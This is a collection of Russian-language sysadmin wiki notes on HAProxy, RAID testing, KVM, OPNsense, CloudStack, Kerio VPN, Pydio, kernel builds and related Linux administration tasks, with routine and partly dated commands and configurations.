frontend ssl
    bind X.X.X.X:443 ssl crt /etc/ssl/private/certs.pem no-sslv3
    mode tcp
    option tcplog
    tcp-request inspect-delay 5s
    tcp-request content accept if HTTP

    acl client_attempts_ssh payload(0,7) -m bin 5353482d322e30

    use_backend ssh if !HTTP
    use_backend ssh if client_attempts_ssh
    use_backend secure_http if HTTP

средства-администрирования-active-directory-из-linux

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

LDAP browser - Apache Directory Studio

ставим_opnsense_на_xenserver6.5

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Ставим

Создаем виртуалку FreeBSD (я сделал 2Gb RAM, 10Gb HDD, 2CPU, 2 network interfaces). Ставим из образа ISO.

Ставим xentools

Для начала включаем доступ ssh. В Web-интерфейсе System→Settings→AdminAccess и ставим галочки напротив всех пунктов в SecureShell.

Логинимся по ssh на хост (по-умолчанию root и пароль opnsense) и ставим

pkg install xe-guest-utilities

После установки отредактируем файл etc/rc.conf:

vi /etc/rc.conf

В этом файлике необходимо добавить вот такую строку: xenguest_enable=«YES» А потом перегрузить машину.

reboot

Чтобы проверить работу сервиса без перезагрузки можно стартануть сервис командой:

service xenguest start

тестирование-стабильности-raida

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Для тестирования массива /dev/md0 мы будем помечать один диск как сбойный и извлекать его из массива, а потом - подключать его обратно!
Пометим диск /dev/sdf1 как сбойный и посмотрим что получилось:

  root@backup:~# mdadm /dev/md0 -f /dev/sdf1
    mdadm: set /dev/sdf1 faulty in /dev/md0

    root@backup:~# cat /proc/mdstat
    Personalities : [raid6] [raid5] [raid4]
    md0 : active raid6 sdh1[0] sdf1[6](F) sde1[5] sdd1[4] sdc1[3] sdb1[2] sda1[1]
          14651317760 blocks super 1.2 level 6, 512k chunk, algorithm 2 [7/6] [UUUUUU_]
         
    unused devices: <none>

Теперь у нас появился сбойный диск.
Удалим его из массива, сделаем вид, что сбегали в магазин, купили новый винт, разбили по всем правилам и установили на законное место в 8-й слот.

  root@backup:~# mdadm /dev/md0 -r /dev/sdf1
    mdadm: hot removed /dev/sdf1 from /dev/md0
    
    root@backup:~# mdadm /dev/md0 -a /dev/sdf1
    mdadm: re-added /dev/sdf1
    
    root@backup:~# cat /proc/mdstat
    Personalities : [raid6] [raid5] [raid4]
    md0 : active raid6 sdf1[6] sdh1[0] sde1[5] sdd1[4] sdc1[3] sdb1[2] sda1[1]
          14651317760 blocks super 1.2 level 6, 512k chunk, algorithm 2 [7/6] [UUUUUU_]
          [>....................]  recovery =  0.0% (301708/2930263552) finish=647.4min speed=75427K/sec
         
    unused devices: <none>

Ура, массив пересобирается!

Проверку целостности программного массива можно запустить так:

echo 'check' >/sys/block/md0/md/sync_action

Ошибки, возникшие в процессе проверки программного RAID-массива (check или repair), можно поглядеть так:

cat /sys/block/md0/md/mismatch_cnt

Скорость восстановления (recovery) можно изменить так:

echo 100000 > /sys/block/md0/md/sync_speed_min

Если диск был отключен физически, то при любых попытках что-то сделать (например пометить диск как сбойный) будет ошибка:

mdadm: cannot find /dev/sda1: No such file or directory

Для предотвращения этого надо выполнить detach:

mdadm /dev/md1 -r detached

Если mdadm /dev/md1 -r detached выполняется, но заканчивается ничем, то нужно убедить mdadm в том. что диска больше нет. для этого вполняем принудительный resync:

echo check > /sys/block/mdX/md/sync_action

В результате мертвые диски пометятся как Failed.

удаленное-подключение-к-kvm-с-помощью-virt-manager

anonymous@undisclosed.example.com (Anonymous) — Thu, 04 Jul 2019 09:54:50 +0000

Итак вы подняли очередной хост KVM на базе Ubuntu и решили подключиться к нему удаленно с помощью virt-manager.

sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils

Проще всего использовать подключение по SSH.
Сначала настраиваем авторизацию по ключам.
На клиентской машине, с которой мы будем рулить удаленным сервером KVM запускаем:

ssh-keygen -t rsa

Место сохранения ключей оставляем по-умолчанию, ключевую фразу оставляем пустой.

Затем копируем соотвествующую часть ключа на удаленный хост:

ssh-copy-id -i ~/.ssh/id_rsa.pub user@remote_host

Тут user - имя пользователя на удаленной машине. Если имя локального пользователя и имя на удаленной машине совпадают - user@ можно не писать.
Или можно вручную доставить публичный ключ на удаленный хост и установить его в качестве authorized key:

cat ~/.ssh/id_rsa.pub | ssh username@server.address.com 'cat >> ~/.ssh/authorized_keys'

Проверяем, что все получилось - коннектимся:

ssh user@remote_host

Если имя локального пользователя и имя на удаленной машине совпадают - user@ можно не писать.

Дальше переходим к настройке хоста KVM.

Сначала - отключаем подключения TLS. Для этого в файле /etc/libvirt/libvirtd.conf раскомментируем строку:

#listen_tls = 0

Затем - добавляем пользователя в группу libvirtd, которая имеет права на подключение к соответствующему сокету:

sudo usermod -a -G libvirtd username

В более новых системах (Ubuntu 19.04) группа называется libvirt (без d на конце):

sudo usermod -a -G libvirt username

Собственно все.
В virt-manager создаем новое подключение. Жмакаем Connect to remote host.
Method - SSH.
Username - имя пользователя на удаленной машине.
Hostname - адрес удаленного компа

Если все сделано правильно - система подключит удаленный хост.

управление-светодиодами-gpio-из-http

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Вебморда фактически состоит из двух файлов - скрипт, который зажигает светодиоды в зависимости от аргумента и HTML страница.
При нажатии на кнопку вебморды запускается скрипт с нужным параметром, а при отпускании - скрипт с аргументом 'stop'
Скрипт сделан для роутера TP-Link 3040
Для того чтобы отключить штатные триггеры диодов (на данном роутере) надо выгрузить и обратно загрузить модуль leds-gpio:

rmmod leds-gpio
insmod leds-gpio

Для других контроллеров GPIO надо заменить команды :)

вот скрипт /www/cgi-bin/ctrl_led:

а вот вебстраница /www/edem.html:

<!DOCTYPE html>
<html>
<head>
    <title>Relay control</title>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <script type="text/javascript">
        function command(action)
        {
            url="/cgi-bin/ctrl_led?command="+action;
            url=url+"&fuie=" + Math.random(); 
            var xmlhttp=new XMLHttpRequest(); 
            xmlhttp.open("GET",url,false);
            xmlhttp.send();
        }

function Init () {
            var left_button = document.getElementById ("left");
            if (left_button.addEventListener) {  // all browsers except IE before version 9
                left_button.addEventListener ("mousedown", function () {command ('left')}, false);
                left_button.addEventListener ("mouseup", function () {command ('stop')}, false);
            }
            else {
                if (left_button.attachEvent) {   // IE before version 9
                    left_button.attachEvent ("onmousedown", function () {command ('left')});
                    left_button.attachEvent ("onmouseup", function () {command ('stop')});
                }
            }

	var right_button = document.getElementById ("right");
            if (right_button.addEventListener) {  // all browsers except IE before version 9
                right_button.addEventListener ("mousedown", function () {command ('right')}, false);
                right_button.addEventListener ("mouseup", function () {command ('stop')}, false);
            }
            else {
                if (right_button.attachEvent) {   // IE before version 9
                    right_button.attachEvent ("onmousedown", function () {command ('right')});
                    right_button.attachEvent ("onmouseup", function () {command ('stop')});
                }
            }

	var forward_button = document.getElementById ("forward");
            if (forward_button.addEventListener) {  // all browsers except IE before version 9
                forward_button.addEventListener ("mousedown", function () {command ('forward')}, false);
                forward_button.addEventListener ("mouseup", function () {command ('stop')}, false);
            }
            else {
                if (forward_button.attachEvent) {   // IE before version 9
                    forward_button.attachEvent ("onmousedown", function () {command ('forward')});
                    forward_button.attachEvent ("onmouseup", function () {command ('stop')});
                }
            }
        }

    </script>

</head>

<body onload="Init()">

<button id="left" type="button">Left</button>
<button id="right" type="button">Right</button>
<button id="forward" type="button">Forward</button>

</body>
</html>

Схема подключения моторов:
http://farm5.static.flickr.com/4026/4321991080_867e7afb5f_o.jpg

Ссылки:
http://habrahabr.ru/post/151982/
http://habrahabr.ru/post/76128/ - тут делают робота на базе атмега… нас интересует схема подключения драйверов мотора L293D

управление-частотои-процессора-из-команднои-строки- ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 18 Mar 2019 10:55:27 +0000

Управление частотой процессора бывает актуально довольно часто.

Для управления частотой процессора нужно установить пакет cpufrequtils.

sudo apt-get install cpufrequtils

При установке пакета cpufrequtils в /etc/init.d/ добавляются скрипты loadcpufreq и cpufrequtils.
Скрипт loadcpufreq определяет по типу процессора и загружает необходимые модули ядра для управления частотой процессора.
Скрипт cpufrequtils устанавливает политику управления частотой процессора (governors policy).

Доступны несколько политик управления частотой (governors policy):
performance - устанавливает постоянную максимально возможную частоту процессора
powersave - устанавливает постоянную минимально возможную частоту процессора
ondemand - устанавливает частоту процессора динамически в зависимости от текущей нагрузки (подходит для десктопов)
conservative - аналогично ondemand, динамически устанавливает частоту процессора в зависимости от нагрузки, но делает это менее агрессивно (подходит для ноутбуков)

Сразу после установки пакета чтобы активировать управление частотой процессора нужно выполнить в командной строке:

sudo /etc/init.d/loadcpufreq start
sudo /etc/init.d/cpufrequtils start

По умолчанию используется политика ondemand. Для изменения политики по умолчанию нужно отредактировать строку GOVERNOR=“ondemand” в скрипте /etc/init.d/cpufrequtils, вписав вместо ondemand желаемую политику.

На моей системе автоматически создался еще один скрипт - /etc/init.d/ondemand. В нем прописано включение режима ondemand. Так что править нужно и его. Или просто отключать.

Посмотреть текущую частоту процессора и используемую политику управления частотой можно выполнив в командной строке:

/usr/bin/cpufreq-info

Вывод команды cpufreq-info также покажет доступные политики управления частотой (governors policy), используемый драйвер (модуль ядра), доступный шаг изменения частоты процессора, аппаратные ограничения на изменение частоты процессора.

Для того чтобы изменить политику, например на conservative, можно также воспользоваться утилитой cpufreq-set, выполнив:

sudo /usr/bin/cpufreq-set -g conservative

установка-cloud-stack-4-4-на-ubuntu-14-04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

sudo echo 'deb http://cloudstack.apt-get.eu/ubuntu trusty 4.4' > /etc/apt/sources.list.d/cloudstack.list

sudo apt-get update && apt-get install mysql-server openntpd cloudstack-management selinux-utils

Добавляем в файл nano /etc/mysql/my.cnf в раздел mysqld строчки:

innodb_rollback_on_timeout=1
innodb_lock_wait_timeout=600
max_connections=350
log-bin=mysql-bin
binlog-format = 'ROW'

 echo 'SELINUX=permissive' > /etc/selinux/config
setenforce permissive

sudo cloudstack-setup-databases cloud:_cloud_user_password_@localhost --deploy-as=root:_mysql_root_pasword_

sudo cloudstack-setup-management

установка-haproxy-на-debian-wheezy

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Для установки haproxy в debian wheezy нужно включить wheezy-backports.
Для этого в файл /etc/apt/sources.list нужно добавить строки:

deb     http://mirrors.kernel.org/debian wheezy-backports main contrib
deb-src http://mirrors.kernel.org/debian wheezy-backports main contrib

И выполняем

apt-get update

А дальше ставим:

apt-get install haproxy

В репозитариях обычно лежит старая версия, например 1.4, а она не умеет SSL SNI. Поэтому компилируем из исходников:
http://www.pylon-decisionware.com/blog/install-haproxy-source-ubuntu
или в CentOS
http://myvirtualife.net/2013/08/19/how-to-build-a-load-balancer-with-haproxy/
или так:

apt-get install wget libssl-dev libpcre3 libpcre3-dev make gcc   # this installs prerequisites
wget http://haproxy.1wt.eu/download/1.5/src/devel/haproxy-1.5-dev21.tar.gz     # download the package
tar xzvf haproxy-1.5-dev21.tar.gz                          # extracting
cd haproxy-1.5-dev21                                       # enter the extracted directory
make TARGET=linux26 USE_OPENSSL=1 USE_ZLIB=1 USE_PCRE=1     # i compile it with compression and ssl support; use CPU=x86_64 for x64 or CPU=i686
make install     # install

Балансировка в зависимости от имени хоста (reverse proxy)

frontend http_proxy
bind 192.168.4.99:80
acl is_demo hdr_dom(host) demo.domain.ru
acl is_demo2 hdr_dom(host) demo2.domain.ru
use_backend cluster1 if is_demo
use_backend cluster2 if is_demo2

backend cluster1
server server1 87.250.251.3:80

backend cluster2
server server2 81.19.85.87:80

Перезапустим:

service haproxy restart

домены demo.domain.ru и demo2.domain.ru имеют одинаковые ip

При заходе через браузер на http://demo.domain.ru получаем контент с 87.250.251.3:80
а если урл — http://demo2.domain.ru, то с 81.19.85.87:80

Балансировка в режиме tcp:

frontend https-c-in
   bind 178.79.xxx.xxx:443
   mode tcp
   default_backend c-https

backend c-https
   balance source
   mode tcp
   option ssl-hello-chk
   server  c-web-01 192.168.xxx.xxx:443 check inter 2000 rise 2 fall 5

http://serverfault.com/questions/523998/unable-to-configure-haproxy-with-ssl

установка-java-runtime-в-ubuntu-14-04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

В Ubuntu 14.04 компоненты Oracle Java Runtime не ставятся по-умолчанию. И их надо скачивать и устанавливать специально.
В Ubuntu и Debian установка сводится к скачиванию архива, распаковке и созданию ссылки на libnpjp2.so в директории plugins браузера.
Итак.
Сначала надо удалить пакет OpenJDK, если он установлен.

sudo apt-get purge openjdk-\*

Скачиваем пакет для своей системы тут: http://java.com/en/download/
Потом копируем файл с архивом туда где будет храниться Java Runtime распаковываем:

mkdir /usr/java
cp ./jre-7u60-linux-x64.tar.gz /usr/java
cd /usr/java
tar -xvzf ./jre-7u60-linux-x64.tar.gz

Теперь создаем в папке с исполняемыми файлами браузера папку plugins и создаем в ней ссылку на libnpjp2.so:

mkdir /usr/lib/mozilla/plugins
cd /usr/lib/mozilla/plugins
ln -s /usr/java/jre1.7.0_60/lib/amd64/libnpjp2.so

Перезапускам браузер и проверяем что получилось:
http://java.com/en/download/installed.jsp?detect=jre&try=1

Там в маленьком оконке жмакаем Activate Java и убеждаемся что все получилось.

установка-kerio-vpn-client-на-ubuntu-x64

anonymous@undisclosed.example.com (Anonymous) — Mon, 24 Jun 2019 07:49:36 +0000

Установка

Сначал ставим 32-битные библиотеки и необходимые debconf и openssl

sudo apt-get install ia32-libs debconf openssl

Скачиваем kerio vpn client

wget http://download.kerio.com/eu/dwn/kerio-control-vpnclient-linux.deb

Устанавливаем его так:

sudo dpkg -i --force-architecture --force-depends kerio-control-vpnclient-linux.deb

Перезапускаем:

sudo /etc/init.d/kerio-kvc restart

Оно работает.

Настройка

Настройки kerio vpn-client находятся тут: /etc/kerio-kvc.conf
Для повторной настройки используем:

dpkg-reconfigure kerio-control-vpnclient

После изменения конфигурации выполняем:

/etc/init.d/kerio-kvc reload

Kerio VPN Client не подключается

Столкнулся с загадочной ситуацией.
Новый Kerio VPN Client версии 8.6 не подключается к KerioControl версии 7.2. Хотя, старый версии 8.5 исправно работает. Клиент под Windows сообщает SSL Error. Выкладываю рабочие версии: kerio-control-vpnclient-8.5.0-3127-linux.deb
Под windows: kerio-control-vpnclient_7.2.0_i386_and_x64_for_Windows

SSL3 в Ubuntu 16.04

При попытке настроить соединение в Ubuntu 16.04 в файле ошибок /tmp/kerio-control-vpn.stderr бывает вот такое:

error:140A90C4:SSL routines:SSL_CTX_new:null ssl method passed:ssl_lib.c:1878:

Это из-за того, что из нового openssl выпилили SSLv3. Остается только собрать из исходников с поддержкой SSLv3

wget https://www.openssl.org/source/openssl-1.1.0c.tar.gz
tar -xvf ./openssl-1.1.0c.tar.gz 
cd openssl-1.1.0c
./config --prefix=/usr --openssldir=/usr

Затем нужно отключить опции OPENSSL_NO_SSL3 и OPENSSL_NO_SSL3_METHOD.
Для этого редактируем файлик ./configdata.pm и в строке openssl_other_defines удаляем опции, а также в строке options удаляем no-ssl3 no-ssl3-method

nano ./configdata.pm 
make all
sudo make install

Скрипт для сборки OpenSSL с поддержкой SSL v3

Вот предложили такой скриптец: https://gist.githubusercontent.com/Albus/f62689065f7b6decbecf5d397bca6ad7/raw/19bd450d1ddb8ce57fcf2735558d63e1b9796aa4/build_openssl.sh

#!/bin/sh -e

# Get latest OpenSSL 1.0.2 version from https://openssl.org/source/
# v1.1.0 seems to have removed SSLv2/3 support
openssl_version=1.0.2e

# Build OpenSSL
wget https://openssl.org/source/openssl-$openssl_version.tar.gz
tar -xvf openssl-$openssl_version.tar.gz
cd openssl-$openssl_version
# --prefix will make sure that make install copies the files locally instead of system-wide
# --openssldir will make sure that the binary will look in the regular system location for openssl.cnf
# no-shared builds a mostly static binary
./config --prefix=`pwd`/local --openssldir=/usr/lib/ssl enable-ssl2 enable-ssl3 no-shared
make depend
make
# -i continues on errors, since make install may try to put some files in /usr/lib/ssl, which we don't want
make -i install

# Install just the binary so we can use s_client -ssl2
sudo cp local/bin/openssl /usr/local/bin/

# Cleanup
cd ..
rm -rf openssl-$openssl_version
rm openssl-$openssl_version.tar.gz

# To test:
# $ openssl s_client -connect google.com:443 -ssl2
# CONNECTED(00000003)
# 139675635414688:error:1407F0E5:SSL routines:ssl2_write:ssl handshake failure:s2_pkt.c:412:
# $ openssl s_client -connect google.com:443 -ssl3
# CONNECTED(00000003)
# 140647504119456:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:365:

установка-likewise-open-server

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

wget http://security.ubuntu.com/ubuntu/pool/universe/l/likewise-open/likewise-open-server_5.4.0.42111-2ubuntu1.3_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/l/likewise-open/likewise-open_5.4.0.42111-2ubuntu1.3_amd64.deb
sudo dpkg -i ./likewise-open_5.4.0.42111-2ubuntu1.3_amd64.deb
sudo dpkg -i ./likewise-open-server_5.4.0.42111-2ubuntu1.3_amd64.deb 
sudo apt-get -f install

установка-moodle-на-ubuntu-12-04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Ставим стек LEMP

Как ставить LEMP (Linix + nginx + MySQL + PHP) описано тут: Ubuntu + LEMP

После установки нужно обновить PHP:

sudo apt-get install make python-software-properties
sudo add-apt-repository ppa:ondrej/php5
sudo apt-get update
sudo apt-get install php5

и установить разные всякие нужные запчасти:

sudo apt-get install graphviz aspell php5-pspell php5-curl libapache2-mod-php5 php5-gd php5-xmlrpc php5-intl php5-ldap

Ставим Moodle

http://docs.moodle.org/26/en/Step-by-step_Installation_Guide_for_Ubuntu

установка-zentyal-на-ubuntu-14.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Добавляем репозиторий

sudo add-apt-repository "deb http://archive.zentyal.org/zentyal 4.1 main extra"
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 10E239FF
wget -q http://keys.zentyal.org/zentyal-4.1-archive.asc -O- | sudo apt-key add -

Устанавливаем ядро zentyal

sudo apt-get update
sudo apt-get install zentyal

Устанавливаем функциональные модули Zentyal

Основные модули:
zentyal-office — шаринг файлов, принтеров, календарей и профилей пользователей.
zentyal-communication — Сервер почты, мгновенных сообщений и телефонии VoIP.
zentyal-gateway — функции роутера.
zentyal-infrastructure — инфраструктурные функции - NTP, DHCP, DNS, etc.

sudo apt-get install zenytal-office

установка-фаилопомоики-pydio-на-lemp-бывшии-ajaxplorer

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Делаем как написано тут:
http://wiki.autosys.tk/Linux%20FAQ.Ubuntu-nginx-Joomla-LEMP.ashx
Скачиваем и распаковываем в /var/www сам Pydio:

wget http://downloads.sourceforge.net/project/ajaxplorer/pydio/stable-channel/6.0.2/pydio-core-6.0.2.zip

Потом надо поставить и включить php5-ldap, php-gd и mcrypt:

sudo apt-get install php5-mcrypt php5-ldap
sudo php5enmod mcrypt
sudo php5enmod php5-ldap
sudo service php5-fpm restart
sudo service nginx restart

Отключить доступ к /data/. Для этого в конфигурацию сайта nginx добавляем:

      location  /data/ {
        deny all;
        return 404;
        }

Дальше нужно сделать базу на MySQL:

mysql -u root -p

# Create the database
CREATE DATABASE pydio ;
# Create the user
CREATE USER 'pydio'@'localhost' IDENTIFIED BY 'password';
# Assign rights
GRANT ALL PRIVILEGES ON pydio.* TO 'pydio'@'localhost';

В процессе установки система предложит внести изменения в конфигурацию apache. Но у нас nginx. Поэтому надо сконвертировать конфигурацию. Для конвертирования применим http://winginx.com/ru/htaccess. Из этого:

<IfModule mod_rewrite.c>
# You must set the correct values here if you want
# to enable webDAV sharing. The values assume that your 
# Pydio installation is at http://yourdomain/
# and that you want the webDAV shares to be accessible via 
# http://yourdomain/shares/repository_id/
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^shares ./dav.php [L]
RewriteRule ^api ./rest.php [L]
RewriteRule ^user ./index.php?get_action=user_access_point [L]
RewriteCond %{REQUEST_URI} !^/index
RewriteCond %{REQUEST_URI} !^/plugins
RewriteCond %{REQUEST_URI} ^/dashboard|^/welcome|^/settings|^/ws-
RewriteRule (.*) index.php [L]

#Following lines seem to be necessary if PHP is working
#with apache as CGI or FCGI. Just remove the #
#See http://doc.tiki.org/WebDAV#Note_about_Apache_with_PHP_as_fcgi_or_cgi

#RewriteCond %{HTTP:Authorization} ^(.*)
#RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]
</IfModule>

AddType application/json .json

Получится это:

# nginx configuration 
location ~ /index { } 

location ~ /plugins { } 

location / { 
if (!-e $request_filename) { 
   rewrite ^/shares /dav.php break; 
   } 
rewrite ^/dashboard|^/welcome|^/settings|^/ws- /index.php break; 
} 

location /ap {
   rewrite ^/api /rest.php break; 
   } 

location /use {
   rewrite ^/user /index.php?get_action=user_access_point break;
   }

Установка

Переходим на получившийся сайт и с помощью мастера завершаем установку.

Привязка к AD

После установки логинимся и жмем справа вверху на кнопочку меню, а затем Settings.
Затем слева - Application Core и дальше - Authentification.
Тут листаем вниз. В Main Instance ставим галку Auto Create Users - Yes. Для того, чтобы пользователи из AD попадали в базу приложения.

Дальше создаем Secondary Instance. Выбираем - Mode - Master/Slave, User Listing - Both, Instance Type - LDAP/AD.
LDAP URL - имя контроллера домена (или IP). Без префикса протокола (ldap://).
Protocol - standard
Port - 389
LDAP Bind username - имя пользователя, которому разрешено подключаться к контроллеру в формате user@domain.com. В официальном руководстве написано неправильно - cn=user,dc=domain,dc=com.
PeopleDN - указываем OU, откуда брать пользователей. Формат - OU=OU_Name,dc=domain,dc=com
LDAP FILTER - objectClass=person
User Attribute - sAMAccountname
LDAP Groups Filter - objectClass=group

установка_ядра_pf-kernel_4._на_ubuntu_14.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Есть такой интересный проект кастомного ядра pf-kernel, который обещает много плюшек и повышение производительности на 15-20%. Попробуем его применить к Ubuntu 14.04 на последнем ядре 4.0

Устанавливаем зависимости и тулзы

sudo apt-get update && sudo apt-get -y upgrade
sudo apt-get -y install fakeroot build-essential atool crash kexec-tools makedumpfile libncurses5 libncurses5-dev libelf-dev libdw-dev binutils-dev kernel-package libc6-dev
sudo apt-get -y build-dep kernel-package linux-meta

При установке kexec-tools установщик задаст вопрос - использовать ли kexec при перезагрузке? Я ответил Y. kexec-tools дает возможность быстрой перезагрузки путем обновления ядра в памяти, минуя фазу с участием BIOS. Чтобы отключить kexec необходимо в файле конфигурации /etc/default/kexec установить LOAD_KEXEC=false.

Получаем исходники ядра и соответствующий патч

Создаем папку где будем собирать и скачиваем ядро и патч:

mkdir pf-kernel
cd pf-kernel
wget https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.0.1.tar.xz
wget https://pf.natalenko.name/sources/4.0/patch-4.0-pf3.xz

Распаковываем:

tar -xvf ./linux-4.0.1.tar.xz
aunpack patch-4.0-pf3.xz

Применяем патч

Переходим в папку я ядром и проверяем как применяется патч:

cd ./linux-4.0.1/
patch -p1 --dry-run < ../patch-4.0-pf3

У меня проблемы возникли только с Makefile. Я их исправлял вручную после патча:

patch -p1 < ../patch-4.0-pf3

У меня была ошибочка:

patching file Makefile
Hunk #1 FAILED at 1.
1 out of 1 hunk FAILED -- saving rejects to file Makefile.rej

Оказалось что не пропатчились строки EXTRAVERSION = и NAME =. Поэтому я полез в Makefile вручную и прописал:

EXTRAVERSION = -pf3

А NAME оставил как есть.

Конфигурируем новое ядро

Копируем текущий конфиг ядра:

cp /boot/config-`uname -r` .config

Чтобы собрать без поддержки лишних модулей:

make localmodconfig

Эта команда сравнивает модули, поддерживаемые в текущем ядре и отключает лишние в новом,а настройки сохраняет в файлик .config. Конфигурационный скрипт задаст вопросы о включении-отключении модулей. Конечно, нужно включить BFQ, BFC и TuxOnIce для того, чтобы увидеть эффект от нового ядра.

Кроме того, можно собрать ядро используя старый конфиг:

make oldconfig

А также полностью сконфигурировать заново:

make menuconfig

Собираем pf-kernel

После конфигурации почистим сборочное пространство:

make-kpkg clean

Запустим процесс сборки (обязательно с правами root):

sudo CONCURRENCY_LEVEL=`getconf _NPROCESSORS_ONLN` fakeroot make-kpkg --initrd kernel_image kernel_headers

В результате должны получиться два пакета:

linux-headers-4.0.1-pf3_4.0.1-pf3-10.00.Custom_amd64.deb
linux-image-4.0.1-pf3_4.0.1-pf3-10.00.Custom_amd64.deb

теперь ставим их:

dpkg -i ./linux-*.deb

После этого можно перезагрузиться и почистить пакеты со старыми ядрами. Найдеи эти пакеты:

dpkg -l | grep image
dpkg -l | grep headers

И удалим лишнее:

sudo apt-get purge _____имена_пакетов______

установщик-ubuntu-не-видит-диск

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Если установщик Ubuntu не видит диск, но при загрузке live-cd диск виден, то вероятно, драйвер dmraid определил диск как часть сломанного массива.

Для решения этой проблемы - в установщике жмакаем Quit (Ubuntu 12.04) и попадаем в LiveCD Ubuntu или загружаемся с установочного диска Ubuntu в livecd (жмакаем Try UBUNTU), запускаем терминал (слева самая верхняя кнопка Dash, а там вводим terminal) и в нем вводим:

sudo apt-get remove dmraid

Дальше соглашаемся и потом прямо ярлыком с рабочего стола livecd запускаем установку.

Должно работать…

чем_занят_linux_kworker_100_cpu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

при выполнении некоторых операций на btrfs - в частности btrfs replace я наблюдаю картину, когда по iotop никакого активного ввода-вывода нет, но процесс kworker потребляет 100% CPU.
Посмотреть что же именно он там делает можно с помощью perf:

sudo apt-get install linux-tools-common

Проверяем - работает ли perf:

sudo perf

Возможно, потребуется поставить второй пакет с названием типа linux-tools-3.11.0-15-generic, который должен соответствовать текущей версии ядра.
В моем случае, в системе было два файлика /usr/bin/perf и /usr/bin/perf_4.9. Нормально работал /usr/bin/perf_4.9.
Собираем статистику в течение 10 секунд:

sudo perf_4.9 record -g -a sleep 10

После завершения сбора данных смотрим что собралось:

sudo perf_4.9 report

В выводе оказалось такое:

+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] find_parent_nodes
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] iterate_extent_inodes
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] iterate_inodes_from_logical
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] copy_nocow_pages_worker
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] normal_work_helper
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_scrubnc_helper
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] process_one_work
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] worker_thread
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] kthread
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] ret_from_fork
+   89.62%    10.83%  kworker/u8:5     [kernel.kallsyms]         [k] resolve_indirect_refs
+   27.38%    22.13%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_get_token_64
+   22.32%    22.13%  kworker/u8:5     [kernel.kallsyms]         [k] read_extent_buffer
+   21.20%     0.17%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_next_old_leaf
+   13.97%     0.32%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_search_old_slot
+   10.42%     6.12%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_get_token_32
+    8.86%     8.83%  kworker/u8:5     [kernel.kallsyms]         [k] map_private_extent_buffer
+    6.93%     0.12%  kworker/u8:5     [kernel.kallsyms]         [k] read_block_for_search.isra.31
+    5.36%     0.93%  kworker/u8:5     [kernel.kallsyms]         [k] find_extent_buffer
+    2.94%     2.91%  kworker/u8:5     [kernel.kallsyms]         [k] copy_page
+    2.77%     0.01%  kworker/u8:5     [kernel.kallsyms]         [k] radix_tree_lookup
+    2.76%     2.74%  kworker/u8:5     [kernel.kallsyms]         [k] __radix_tree_lookup
+    2.45%     0.52%  kworker/u8:5     [kernel.kallsyms]         [k] __tree_mod_log_rewind

Судя по всем процесс занят работой с экстентами btrfs.